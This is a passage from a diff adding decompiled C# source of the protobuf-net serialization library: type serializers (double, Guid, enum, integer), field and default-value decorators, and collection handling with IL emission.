{
ctx.EmitWrite(ctx.MapType(typeof(BclHelpers)), "WriteDecimal", valueFrom);
}
void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicRead(ctx.MapType(typeof(BclHelpers)), "ReadDecimal", ExpectedType);
}
}
@@ -0,0 +1,223 @@
using System;
using System.Reflection;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class DefaultValueDecorator : ProtoDecoratorBase
{
private readonly object defaultValue;
public override Type ExpectedType => Tail.ExpectedType;
public override bool RequiresOldValue => Tail.RequiresOldValue;
public override bool ReturnsValue => Tail.ReturnsValue;
public DefaultValueDecorator(TypeModel model, object defaultValue, IProtoSerializer tail)
: base(tail)
{
if (defaultValue == null)
{
throw new ArgumentNullException("defaultValue");
}
Type type = model.MapType(defaultValue.GetType());
if ((object)type != tail.ExpectedType)
{
throw new ArgumentException("Default value is of incorrect type", "defaultValue");
}
this.defaultValue = defaultValue;
}
public override void Write(object value, ProtoWriter dest)
{
if (!object.Equals(value, defaultValue))
{
Tail.Write(value, dest);
}
}
public override object Read(object value, ProtoReader source)
{
return Tail.Read(value, source);
}
protected override void EmitWrite(CompilerContext ctx, Local valueFrom)
{
CodeLabel label = ctx.DefineLabel();
if (valueFrom == null)
{
ctx.CopyValue();
CodeLabel label2 = ctx.DefineLabel();
EmitBranchIfDefaultValue(ctx, label2);
Tail.EmitWrite(ctx, null);
ctx.Branch(label, @short: true);
ctx.MarkLabel(label2);
ctx.DiscardValue();
}
else
{
ctx.LoadValue(valueFrom);
EmitBranchIfDefaultValue(ctx, label);
Tail.EmitWrite(ctx, valueFrom);
}
ctx.MarkLabel(label);
}
private void EmitBeq(CompilerContext ctx, CodeLabel label, Type type)
{
ProtoTypeCode typeCode = Helpers.GetTypeCode(type);
if ((uint)(typeCode - 3) <= 11u)
{
ctx.BranchIfEqual(label, @short: false);
return;
}
MethodInfo method = type.GetMethod("op_Equality", BindingFlags.Static | BindingFlags.Public, null, new Type[2] { type, type }, null);
if ((object)method == null || (object)method.ReturnType != ctx.MapType(typeof(bool)))
{
throw new InvalidOperationException("No suitable equality operator found for default-values of type: " + type.FullName);
}
ctx.EmitCall(method);
ctx.BranchIfTrue(label, @short: false);
}
private void EmitBranchIfDefaultValue(CompilerContext ctx, CodeLabel label)
{
Type expectedType = ExpectedType;
switch (Helpers.GetTypeCode(expectedType))
{
case ProtoTypeCode.Boolean:
if ((bool)defaultValue)
{
ctx.BranchIfTrue(label, @short: false);
}
else
{
ctx.BranchIfFalse(label, @short: false);
}
break;
case ProtoTypeCode.Byte:
if ((byte)defaultValue == 0)
{
ctx.BranchIfFalse(label, @short: false);
break;
}
ctx.LoadValue((byte)defaultValue);
EmitBeq(ctx, label, expectedType);
break;
case ProtoTypeCode.SByte:
if ((sbyte)defaultValue == 0)
{
ctx.BranchIfFalse(label, @short: false);
break;
}
ctx.LoadValue((sbyte)defaultValue);
EmitBeq(ctx, label, expectedType);
break;
case ProtoTypeCode.Int16:
if ((short)defaultValue == 0)
{
ctx.BranchIfFalse(label, @short: false);
break;
}
ctx.LoadValue((short)defaultValue);
EmitBeq(ctx, label, expectedType);
break;
case ProtoTypeCode.UInt16:
if ((ushort)defaultValue == 0)
{
ctx.BranchIfFalse(label, @short: false);
break;
}
ctx.LoadValue((ushort)defaultValue);
EmitBeq(ctx, label, expectedType);
break;
case ProtoTypeCode.Int32:
if ((int)defaultValue == 0)
{
ctx.BranchIfFalse(label, @short: false);
break;
}
ctx.LoadValue((int)defaultValue);
EmitBeq(ctx, label, expectedType);
break;
case ProtoTypeCode.UInt32:
if ((uint)defaultValue == 0)
{
ctx.BranchIfFalse(label, @short: false);
break;
}
ctx.LoadValue((int)(uint)defaultValue);
EmitBeq(ctx, label, expectedType);
break;
case ProtoTypeCode.Char:
if ((char)defaultValue == '\0')
{
ctx.BranchIfFalse(label, @short: false);
break;
}
ctx.LoadValue((char)defaultValue);
EmitBeq(ctx, label, expectedType);
break;
case ProtoTypeCode.Int64:
ctx.LoadValue((long)defaultValue);
EmitBeq(ctx, label, expectedType);
break;
case ProtoTypeCode.UInt64:
ctx.LoadValue((long)(ulong)defaultValue);
EmitBeq(ctx, label, expectedType);
break;
case ProtoTypeCode.Double:
ctx.LoadValue((double)defaultValue);
EmitBeq(ctx, label, expectedType);
break;
case ProtoTypeCode.Single:
ctx.LoadValue((float)defaultValue);
EmitBeq(ctx, label, expectedType);
break;
case ProtoTypeCode.String:
ctx.LoadValue((string)defaultValue);
EmitBeq(ctx, label, expectedType);
break;
case ProtoTypeCode.Decimal:
{
decimal value = (decimal)defaultValue;
ctx.LoadValue(value);
EmitBeq(ctx, label, expectedType);
break;
}
case ProtoTypeCode.TimeSpan:
{
TimeSpan timeSpan = (TimeSpan)defaultValue;
if (timeSpan == TimeSpan.Zero)
{
ctx.LoadValue(typeof(TimeSpan).GetField("Zero"));
}
else
{
ctx.LoadValue(timeSpan.Ticks);
ctx.EmitCall(ctx.MapType(typeof(TimeSpan)).GetMethod("FromTicks"));
}
EmitBeq(ctx, label, expectedType);
break;
}
case ProtoTypeCode.Guid:
ctx.LoadValue((Guid)defaultValue);
EmitBeq(ctx, label, expectedType);
break;
case ProtoTypeCode.DateTime:
ctx.LoadValue(((DateTime)defaultValue).ToBinary());
ctx.EmitCall(ctx.MapType(typeof(DateTime)).GetMethod("FromBinary"));
EmitBeq(ctx, label, expectedType);
break;
default:
throw new NotSupportedException("Type cannot be represented as a default value: " + expectedType.FullName);
}
}
protected override void EmitRead(CompilerContext ctx, Local valueFrom)
{
Tail.EmitRead(ctx, valueFrom);
}
}
@@ -0,0 +1,40 @@
using System;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class DoubleSerializer : IProtoSerializer
{
private static readonly Type expectedType = typeof(double);
public Type ExpectedType => expectedType;
bool IProtoSerializer.RequiresOldValue => false;
bool IProtoSerializer.ReturnsValue => true;
public DoubleSerializer(TypeModel model)
{
}
public object Read(object value, ProtoReader source)
{
return source.ReadDouble();
}
public void Write(object value, ProtoWriter dest)
{
ProtoWriter.WriteDouble((double)value, dest);
}
void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicWrite("WriteDouble", valueFrom);
}
void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicRead("ReadDouble", ExpectedType);
}
}
@@ -0,0 +1,267 @@
using System;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class EnumSerializer : IProtoSerializer
{
public readonly struct EnumPair(int wireValue, object raw, Type type)
{
public readonly object RawValue = raw;
public readonly Enum TypedValue = (Enum)Enum.ToObject(type, raw);
public readonly int WireValue = wireValue;
}
private readonly Type enumType;
private readonly EnumPair[] map;
public Type ExpectedType => enumType;
bool IProtoSerializer.RequiresOldValue => false;
bool IProtoSerializer.ReturnsValue => true;
public EnumSerializer(Type enumType, EnumPair[] map)
{
this.enumType = enumType ?? throw new ArgumentNullException("enumType");
this.map = map;
if (map == null)
{
return;
}
for (int i = 1; i < map.Length; i++)
{
for (int j = 0; j < i; j++)
{
if (map[i].WireValue == map[j].WireValue && !object.Equals(map[i].RawValue, map[j].RawValue))
{
int wireValue = map[i].WireValue;
throw new ProtoException("Multiple enums with wire-value " + wireValue);
}
if (object.Equals(map[i].RawValue, map[j].RawValue) && map[i].WireValue != map[j].WireValue)
{
throw new ProtoException("Multiple enums with deserialized-value " + map[i].RawValue);
}
}
}
}
private ProtoTypeCode GetTypeCode()
{
Type underlyingType = Helpers.GetUnderlyingType(enumType);
if ((object)underlyingType == null)
{
underlyingType = enumType;
}
return Helpers.GetTypeCode(underlyingType);
}
private int EnumToWire(object value)
{
return GetTypeCode() switch
{
ProtoTypeCode.Byte => (byte)value,
ProtoTypeCode.SByte => (sbyte)value,
ProtoTypeCode.Int16 => (short)value,
ProtoTypeCode.Int32 => (int)value,
ProtoTypeCode.Int64 => (int)(long)value,
ProtoTypeCode.UInt16 => (ushort)value,
ProtoTypeCode.UInt32 => (int)(uint)value,
ProtoTypeCode.UInt64 => (int)(ulong)value,
_ => throw new InvalidOperationException(),
};
}
private object WireToEnum(int value)
{
return GetTypeCode() switch
{
ProtoTypeCode.Byte => Enum.ToObject(enumType, (byte)value),
ProtoTypeCode.SByte => Enum.ToObject(enumType, (sbyte)value),
ProtoTypeCode.Int16 => Enum.ToObject(enumType, (short)value),
ProtoTypeCode.Int32 => Enum.ToObject(enumType, value),
ProtoTypeCode.Int64 => Enum.ToObject(enumType, (long)value),
ProtoTypeCode.UInt16 => Enum.ToObject(enumType, (ushort)value),
ProtoTypeCode.UInt32 => Enum.ToObject(enumType, (uint)value),
ProtoTypeCode.UInt64 => Enum.ToObject(enumType, (ulong)value),
_ => throw new InvalidOperationException(),
};
}
public object Read(object value, ProtoReader source)
{
int num = source.ReadInt32();
if (map == null)
{
return WireToEnum(num);
}
for (int i = 0; i < map.Length; i++)
{
if (map[i].WireValue == num)
{
return map[i].TypedValue;
}
}
source.ThrowEnumException(ExpectedType, num);
return null;
}
public void Write(object value, ProtoWriter dest)
{
if (map == null)
{
ProtoWriter.WriteInt32(EnumToWire(value), dest);
return;
}
for (int i = 0; i < map.Length; i++)
{
if (object.Equals(map[i].TypedValue, value))
{
ProtoWriter.WriteInt32(map[i].WireValue, dest);
return;
}
}
ProtoWriter.ThrowEnumException(dest, value);
}
void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom)
{
ProtoTypeCode typeCode = GetTypeCode();
if (map == null)
{
ctx.LoadValue(valueFrom);
ctx.ConvertToInt32(typeCode, uint32Overflow: false);
ctx.EmitBasicWrite("WriteInt32", null);
return;
}
using Local local = ctx.GetLocalWithValue(ExpectedType, valueFrom);
CodeLabel label = ctx.DefineLabel();
for (int i = 0; i < map.Length; i++)
{
CodeLabel label2 = ctx.DefineLabel();
CodeLabel label3 = ctx.DefineLabel();
ctx.LoadValue(local);
WriteEnumValue(ctx, typeCode, map[i].RawValue);
ctx.BranchIfEqual(label3, @short: true);
ctx.Branch(label2, @short: true);
ctx.MarkLabel(label3);
ctx.LoadValue(map[i].WireValue);
ctx.EmitBasicWrite("WriteInt32", null);
ctx.Branch(label, @short: false);
ctx.MarkLabel(label2);
}
ctx.LoadReaderWriter();
ctx.LoadValue(local);
ctx.CastToObject(ExpectedType);
ctx.EmitCall(ctx.MapType(typeof(ProtoWriter)).GetMethod("ThrowEnumException"));
ctx.MarkLabel(label);
}
void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom)
{
ProtoTypeCode typeCode = GetTypeCode();
if (map == null)
{
ctx.EmitBasicRead("ReadInt32", ctx.MapType(typeof(int)));
ctx.ConvertFromInt32(typeCode, uint32Overflow: false);
return;
}
int[] array = new int[map.Length];
object[] array2 = new object[map.Length];
for (int i = 0; i < map.Length; i++)
{
array[i] = map[i].WireValue;
array2[i] = map[i].RawValue;
}
using Local local = new Local(ctx, ExpectedType);
using Local local2 = new Local(ctx, ctx.MapType(typeof(int)));
ctx.EmitBasicRead("ReadInt32", ctx.MapType(typeof(int)));
ctx.StoreValue(local2);
CodeLabel codeLabel = ctx.DefineLabel();
BasicList.NodeEnumerator enumerator = BasicList.GetContiguousGroups(array, array2).GetEnumerator();
while (enumerator.MoveNext())
{
BasicList.Group obj = (BasicList.Group)enumerator.Current;
CodeLabel label = ctx.DefineLabel();
int count = obj.Items.Count;
if (count == 1)
{
ctx.LoadValue(local2);
ctx.LoadValue(obj.First);
CodeLabel codeLabel2 = ctx.DefineLabel();
ctx.BranchIfEqual(codeLabel2, @short: true);
ctx.Branch(label, @short: false);
WriteEnumValue(ctx, typeCode, codeLabel2, codeLabel, obj.Items[0], local);
}
else
{
ctx.LoadValue(local2);
ctx.LoadValue(obj.First);
ctx.Subtract();
CodeLabel[] array3 = new CodeLabel[count];
for (int j = 0; j < count; j++)
{
array3[j] = ctx.DefineLabel();
}
ctx.Switch(array3);
ctx.Branch(label, @short: false);
for (int k = 0; k < count; k++)
{
WriteEnumValue(ctx, typeCode, array3[k], codeLabel, obj.Items[k], local);
}
}
ctx.MarkLabel(label);
}
ctx.LoadReaderWriter();
ctx.LoadValue(ExpectedType);
ctx.LoadValue(local2);
ctx.EmitCall(ctx.MapType(typeof(ProtoReader)).GetMethod("ThrowEnumException"));
ctx.MarkLabel(codeLabel);
ctx.LoadValue(local);
}
private static void WriteEnumValue(CompilerContext ctx, ProtoTypeCode typeCode, object value)
{
switch (typeCode)
{
case ProtoTypeCode.Byte:
ctx.LoadValue((byte)value);
break;
case ProtoTypeCode.SByte:
ctx.LoadValue((sbyte)value);
break;
case ProtoTypeCode.Int16:
ctx.LoadValue((short)value);
break;
case ProtoTypeCode.Int32:
ctx.LoadValue((int)value);
break;
case ProtoTypeCode.Int64:
ctx.LoadValue((long)value);
break;
case ProtoTypeCode.UInt16:
ctx.LoadValue((ushort)value);
break;
case ProtoTypeCode.UInt32:
ctx.LoadValue((int)(uint)value);
break;
case ProtoTypeCode.UInt64:
ctx.LoadValue((long)(ulong)value);
break;
default:
throw new InvalidOperationException();
}
}
private static void WriteEnumValue(CompilerContext ctx, ProtoTypeCode typeCode, CodeLabel handler, CodeLabel @continue, object value, Local local)
{
ctx.MarkLabel(handler);
WriteEnumValue(ctx, typeCode, value);
ctx.StoreValue(local);
ctx.Branch(@continue, @short: false);
}
}
@@ -0,0 +1,92 @@
using System;
using System.Reflection;
using ProtoBuf.Compiler;
namespace ProtoBuf.Serializers;
internal sealed class FieldDecorator : ProtoDecoratorBase
{
private readonly FieldInfo field;
private readonly Type forType;
public override Type ExpectedType => forType;
public override bool RequiresOldValue => true;
public override bool ReturnsValue => false;
public FieldDecorator(Type forType, FieldInfo field, IProtoSerializer tail)
: base(tail)
{
this.forType = forType;
this.field = field;
}
public override void Write(object value, ProtoWriter dest)
{
value = field.GetValue(value);
if (value != null)
{
Tail.Write(value, dest);
}
}
public override object Read(object value, ProtoReader source)
{
object obj = Tail.Read(Tail.RequiresOldValue ? field.GetValue(value) : null, source);
if (obj != null)
{
field.SetValue(value, obj);
}
return null;
}
protected override void EmitWrite(CompilerContext ctx, Local valueFrom)
{
ctx.LoadAddress(valueFrom, ExpectedType);
ctx.LoadValue(field);
ctx.WriteNullCheckedTail(field.FieldType, Tail, null);
}
protected override void EmitRead(CompilerContext ctx, Local valueFrom)
{
using Local local = ctx.GetLocalWithValue(ExpectedType, valueFrom);
if (Tail.RequiresOldValue)
{
ctx.LoadAddress(local, ExpectedType);
ctx.LoadValue(field);
}
ctx.ReadNullCheckedTail(field.FieldType, Tail, null);
MemberInfo member = field;
ctx.CheckAccessibility(ref member);
if (member is FieldInfo)
{
if (!Tail.ReturnsValue)
{
return;
}
using Local local2 = new Local(ctx, field.FieldType);
ctx.StoreValue(local2);
if (Helpers.IsValueType(field.FieldType))
{
ctx.LoadAddress(local, ExpectedType);
ctx.LoadValue(local2);
ctx.StoreValue(field);
return;
}
CodeLabel label = ctx.DefineLabel();
ctx.LoadValue(local2);
ctx.BranchIfFalse(label, @short: true);
ctx.LoadAddress(local, ExpectedType);
ctx.LoadValue(local2);
ctx.StoreValue(field);
ctx.MarkLabel(label);
return;
}
if (Tail.ReturnsValue)
{
ctx.DiscardValue();
}
}
}
@@ -0,0 +1,40 @@
using System;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class GuidSerializer : IProtoSerializer
{
private static readonly Type expectedType = typeof(Guid);
public Type ExpectedType => expectedType;
bool IProtoSerializer.RequiresOldValue => false;
bool IProtoSerializer.ReturnsValue => true;
public GuidSerializer(TypeModel model)
{
}
public void Write(object value, ProtoWriter dest)
{
BclHelpers.WriteGuid((Guid)value, dest);
}
public object Read(object value, ProtoReader source)
{
return BclHelpers.ReadGuid(source);
}
void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom)
{
ctx.EmitWrite(ctx.MapType(typeof(BclHelpers)), "WriteGuid", valueFrom);
}
void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicRead(ctx.MapType(typeof(BclHelpers)), "ReadGuid", ExpectedType);
}
}
@@ -0,0 +1,21 @@
using System;
using ProtoBuf.Compiler;
namespace ProtoBuf.Serializers;
internal interface IProtoSerializer
{
Type ExpectedType { get; }
bool RequiresOldValue { get; }
bool ReturnsValue { get; }
void Write(object value, ProtoWriter dest);
object Read(object value, ProtoReader source);
void EmitWrite(CompilerContext ctx, Local valueFrom);
void EmitRead(CompilerContext ctx, Local entity);
}
@@ -0,0 +1,19 @@
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal interface IProtoTypeSerializer : IProtoSerializer
{
bool HasCallbacks(TypeModel.CallbackType callbackType);
bool CanCreateInstance();
object CreateInstance(ProtoReader source);
void Callback(object value, TypeModel.CallbackType callbackType, SerializationContext context);
void EmitCallback(CompilerContext ctx, Local valueFrom, TypeModel.CallbackType callbackType);
void EmitCreateInstance(CompilerContext ctx);
}
@@ -0,0 +1,6 @@
namespace ProtoBuf.Serializers;
internal interface ISerializerProxy
{
IProtoSerializer Serializer { get; }
}
@@ -0,0 +1,301 @@
using System;
using System.Collections;
using System.Collections.Generic;
using System.Reflection;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class ImmutableCollectionDecorator : ListDecorator
{
private readonly MethodInfo builderFactory;
private readonly MethodInfo add;
private readonly MethodInfo addRange;
private readonly MethodInfo finish;
private readonly PropertyInfo isEmpty;
private readonly PropertyInfo length;
protected override bool RequireAdd => false;
private static Type ResolveIReadOnlyCollection(Type declaredType, Type t)
{
if (CheckIsIReadOnlyCollectionExactly(declaredType))
{
return declaredType;
}
Type[] interfaces = declaredType.GetInterfaces();
foreach (Type type in interfaces)
{
if (CheckIsIReadOnlyCollectionExactly(type))
{
return type;
}
}
return null;
}
private static bool CheckIsIReadOnlyCollectionExactly(Type t)
{
if ((object)t != null && t.IsGenericType && t.Name.StartsWith("IReadOnlyCollection`"))
{
Type[] genericArguments = t.GetGenericArguments();
if (genericArguments.Length != 1 && (object)genericArguments[0] != t)
{
return false;
}
return true;
}
return false;
}
internal static bool IdentifyImmutable(TypeModel model, Type declaredType, out MethodInfo builderFactory, out PropertyInfo isEmpty, out PropertyInfo length, out MethodInfo add, out MethodInfo addRange, out MethodInfo finish)
{
builderFactory = (add = (addRange = (finish = null)));
isEmpty = (length = null);
if (model == null || (object)declaredType == null)
{
return false;
}
if (!declaredType.IsGenericType)
{
return false;
}
Type[] genericArguments = declaredType.GetGenericArguments();
Type[] array;
switch (genericArguments.Length)
{
case 1:
array = genericArguments;
break;
case 2:
{
Type type = model.MapType(typeof(KeyValuePair<, >));
if ((object)type == null)
{
return false;
}
type = type.MakeGenericType(genericArguments);
array = new Type[1] { type };
break;
}
default:
return false;
}
if ((object)ResolveIReadOnlyCollection(declaredType, null) == null)
{
return false;
}
string name = declaredType.Name;
int num = name.IndexOf('`');
if (num <= 0)
{
return false;
}
name = (declaredType.IsInterface ? name.Substring(1, num - 1) : name.Substring(0, num));
Type type2 = model.GetType(declaredType.Namespace + "." + name, declaredType.Assembly);
if ((object)type2 == null && name == "ImmutableSet")
{
type2 = model.GetType(declaredType.Namespace + ".ImmutableHashSet", declaredType.Assembly);
}
if ((object)type2 == null)
{
return false;
}
MethodInfo[] methods = type2.GetMethods();
foreach (MethodInfo methodInfo in methods)
{
if (methodInfo.IsStatic && !(methodInfo.Name != "CreateBuilder") && methodInfo.IsGenericMethodDefinition && methodInfo.GetParameters().Length == 0 && methodInfo.GetGenericArguments().Length == genericArguments.Length)
{
builderFactory = methodInfo.MakeGenericMethod(genericArguments);
break;
}
}
Type type3 = model.MapType(typeof(void));
if ((object)builderFactory == null || (object)builderFactory.ReturnType == null || (object)builderFactory.ReturnType == type3)
{
return false;
}
isEmpty = Helpers.GetProperty(declaredType, "IsDefaultOrEmpty", nonPublic: false);
if ((object)isEmpty == null)
{
isEmpty = Helpers.GetProperty(declaredType, "IsEmpty", nonPublic: false);
}
if ((object)isEmpty == null)
{
length = Helpers.GetProperty(declaredType, "Length", nonPublic: false);
if ((object)length == null)
{
length = Helpers.GetProperty(declaredType, "Count", nonPublic: false);
}
if ((object)length == null)
{
length = Helpers.GetProperty(ResolveIReadOnlyCollection(declaredType, array[0]), "Count", nonPublic: false);
}
if ((object)length == null)
{
return false;
}
}
add = Helpers.GetInstanceMethod(builderFactory.ReturnType, "Add", array);
if ((object)add == null)
{
return false;
}
finish = Helpers.GetInstanceMethod(builderFactory.ReturnType, "ToImmutable", Helpers.EmptyTypes);
if ((object)finish == null || (object)finish.ReturnType == null || (object)finish.ReturnType == type3)
{
return false;
}
if ((object)finish.ReturnType != declaredType && !Helpers.IsAssignableFrom(declaredType, finish.ReturnType))
{
return false;
}
addRange = Helpers.GetInstanceMethod(builderFactory.ReturnType, "AddRange", new Type[1] { declaredType });
if ((object)addRange == null)
{
Type type4 = model.MapType(typeof(IEnumerable<>), demand: false);
if ((object)type4 != null)
{
addRange = Helpers.GetInstanceMethod(builderFactory.ReturnType, "AddRange", new Type[1] { type4.MakeGenericType(array) });
}
}
return true;
}
internal ImmutableCollectionDecorator(TypeModel model, Type declaredType, Type concreteType, IProtoSerializer tail, int fieldNumber, bool writePacked, WireType packedWireType, bool returnList, bool overwriteList, bool supportNull, MethodInfo builderFactory, PropertyInfo isEmpty, PropertyInfo length, MethodInfo add, MethodInfo addRange, MethodInfo finish)
: base(model, declaredType, concreteType, tail, fieldNumber, writePacked, packedWireType, returnList, overwriteList, supportNull)
{
this.builderFactory = builderFactory;
this.isEmpty = isEmpty;
this.length = length;
this.add = add;
this.addRange = addRange;
this.finish = finish;
}
public override object Read(object value, ProtoReader source)
{
object obj = builderFactory.Invoke(null, null);
int field = source.FieldNumber;
object[] array = new object[1];
if (base.AppendToCollection && value != null && (((object)isEmpty != null) ? (!(bool)isEmpty.GetValue(value, null)) : ((byte)(int)length.GetValue(value, null) != 0)))
{
if ((object)addRange != null)
{
array[0] = value;
addRange.Invoke(obj, array);
}
else
{
foreach (object item in (ICollection)value)
{
array[0] = item;
add.Invoke(obj, array);
}
}
}
if (packedWireType != WireType.None && source.WireType == WireType.String)
{
SubItemToken token = ProtoReader.StartSubItem(source);
while (ProtoReader.HasSubValue(packedWireType, source))
{
array[0] = Tail.Read(null, source);
add.Invoke(obj, array);
}
ProtoReader.EndSubItem(token, source);
}
else
{
do
{
array[0] = Tail.Read(null, source);
add.Invoke(obj, array);
}
while (source.TryReadFieldHeader(field));
}
return finish.Invoke(obj, null);
}
protected override void EmitRead(CompilerContext ctx, Local valueFrom)
{
using Local local = (base.AppendToCollection ? ctx.GetLocalWithValue(ExpectedType, valueFrom) : null);
using Local local2 = new Local(ctx, builderFactory.ReturnType);
ctx.EmitCall(builderFactory);
ctx.StoreValue(local2);
if (base.AppendToCollection)
{
CodeLabel label = ctx.DefineLabel();
if (!Helpers.IsValueType(ExpectedType))
{
ctx.LoadValue(local);
ctx.BranchIfFalse(label, @short: false);
}
ctx.LoadAddress(local, local.Type);
if ((object)isEmpty != null)
{
ctx.EmitCall(Helpers.GetGetMethod(isEmpty, nonPublic: false, allowInternal: false));
ctx.BranchIfTrue(label, @short: false);
}
else
{
ctx.EmitCall(Helpers.GetGetMethod(length, nonPublic: false, allowInternal: false));
ctx.BranchIfFalse(label, @short: false);
}
Type type = ctx.MapType(typeof(void));
if ((object)addRange != null)
{
ctx.LoadValue(local2);
ctx.LoadValue(local);
ctx.EmitCall(addRange);
if ((object)addRange.ReturnType != null && (object)add.ReturnType != type)
{
ctx.DiscardValue();
}
}
else
{
MethodInfo moveNext;
MethodInfo current;
MethodInfo enumeratorInfo = GetEnumeratorInfo(ctx.Model, out moveNext, out current);
Type returnType = enumeratorInfo.ReturnType;
using Local local3 = new Local(ctx, returnType);
ctx.LoadAddress(local, ExpectedType);
ctx.EmitCall(enumeratorInfo);
ctx.StoreValue(local3);
using (ctx.Using(local3))
{
CodeLabel label2 = ctx.DefineLabel();
CodeLabel label3 = ctx.DefineLabel();
ctx.Branch(label3, @short: false);
ctx.MarkLabel(label2);
ctx.LoadAddress(local2, local2.Type);
ctx.LoadAddress(local3, returnType);
ctx.EmitCall(current);
ctx.EmitCall(add);
if ((object)add.ReturnType != null && (object)add.ReturnType != type)
{
ctx.DiscardValue();
}
ctx.MarkLabel(label3);
ctx.LoadAddress(local3, returnType);
ctx.EmitCall(moveNext);
ctx.BranchIfTrue(label2, @short: false);
}
}
ctx.MarkLabel(label);
}
ListDecorator.EmitReadList(ctx, local2, Tail, add, packedWireType, castListForAdd: false);
ctx.LoadAddress(local2, local2.Type);
ctx.EmitCall(finish);
if ((object)ExpectedType != finish.ReturnType)
{
ctx.Cast(ExpectedType);
}
}
}
@@ -0,0 +1,40 @@
using System;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class Int16Serializer : IProtoSerializer
{
private static readonly Type expectedType = typeof(short);
public Type ExpectedType => expectedType;
bool IProtoSerializer.RequiresOldValue => false;
bool IProtoSerializer.ReturnsValue => true;
public Int16Serializer(TypeModel model)
{
}
public object Read(object value, ProtoReader source)
{
return source.ReadInt16();
}
public void Write(object value, ProtoWriter dest)
{
ProtoWriter.WriteInt16((short)value, dest);
}
void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicWrite("WriteInt16", valueFrom);
}
void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicRead("ReadInt16", ExpectedType);
}
}
@@ -0,0 +1,40 @@
using System;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class Int32Serializer : IProtoSerializer
{
private static readonly Type expectedType = typeof(int);
public Type ExpectedType => expectedType;
bool IProtoSerializer.RequiresOldValue => false;
bool IProtoSerializer.ReturnsValue => true;
public Int32Serializer(TypeModel model)
{
}
public object Read(object value, ProtoReader source)
{
return source.ReadInt32();
}
public void Write(object value, ProtoWriter dest)
{
ProtoWriter.WriteInt32((int)value, dest);
}
void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicWrite("WriteInt32", valueFrom);
}
void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicRead("ReadInt32", ExpectedType);
}
}
@@ -0,0 +1,40 @@
using System;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal sealed class Int64Serializer : IProtoSerializer
{
private static readonly Type expectedType = typeof(long);
public Type ExpectedType => expectedType;
bool IProtoSerializer.RequiresOldValue => false;
bool IProtoSerializer.ReturnsValue => true;
public Int64Serializer(TypeModel model)
{
}
public object Read(object value, ProtoReader source)
{
return source.ReadInt64();
}
public void Write(object value, ProtoWriter dest)
{
ProtoWriter.WriteInt64((long)value, dest);
}
void IProtoSerializer.EmitWrite(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicWrite("WriteInt64", valueFrom);
}
void IProtoSerializer.EmitRead(CompilerContext ctx, Local valueFrom)
{
ctx.EmitBasicRead("ReadInt64", ExpectedType);
}
}
@@ -0,0 +1,520 @@
using System;
using System.Collections;
using System.Collections.Generic;
using System.Reflection;
using ProtoBuf.Compiler;
using ProtoBuf.Meta;
namespace ProtoBuf.Serializers;
internal class ListDecorator : ProtoDecoratorBase
{
private readonly byte options;
private const byte OPTIONS_IsList = 1;
private const byte OPTIONS_SuppressIList = 2;
private const byte OPTIONS_WritePacked = 4;
private const byte OPTIONS_ReturnList = 8;
private const byte OPTIONS_OverwriteList = 16;
private const byte OPTIONS_SupportNull = 32;
private readonly Type declaredType;
private readonly Type concreteType;
private readonly MethodInfo add;
private readonly int fieldNumber;
protected readonly WireType packedWireType;
private static readonly Type ienumeratorType = typeof(IEnumerator);
private static readonly Type ienumerableType = typeof(IEnumerable);
private bool IsList => (options & 1) != 0;
private bool SuppressIList => (options & 2) != 0;
private bool WritePacked => (options & 4) != 0;
private bool SupportNull => (options & 0x20) != 0;
private bool ReturnList => (options & 8) != 0;
protected virtual bool RequireAdd => true;
public override Type ExpectedType => declaredType;
public override bool RequiresOldValue => AppendToCollection;
public override bool ReturnsValue => ReturnList;
protected bool AppendToCollection => (options & 0x10) == 0;
internal static bool CanPack(WireType wireType)
{
if ((uint)wireType <= 1u || wireType == WireType.Fixed32 || wireType == WireType.SignedVariant)
{
return true;
}
return false;
}
internal static ListDecorator Create(TypeModel model, Type declaredType, Type concreteType, IProtoSerializer tail, int fieldNumber, bool writePacked, WireType packedWireType, bool returnList, bool overwriteList, bool supportNull)
{
if (returnList && ImmutableCollectionDecorator.IdentifyImmutable(model, declaredType, out var builderFactory, out var isEmpty, out var length, out var methodInfo, out var addRange, out var finish))
{
return new ImmutableCollectionDecorator(model, declaredType, concreteType, tail, fieldNumber, writePacked, packedWireType, returnList, overwriteList, supportNull, builderFactory, isEmpty, length, methodInfo, addRange, finish);
}
return new ListDecorator(model, declaredType, concreteType, tail, fieldNumber, writePacked, packedWireType, returnList, overwriteList, supportNull);
}
protected ListDecorator(TypeModel model, Type declaredType, Type concreteType, IProtoSerializer tail, int fieldNumber, bool writePacked, WireType packedWireType, bool returnList, bool overwriteList, bool supportNull)
: base(tail)
{
if (returnList)
{
options |= 8;
}
if (overwriteList)
{
options |= 16;
}
if (supportNull)
{
options |= 32;
}
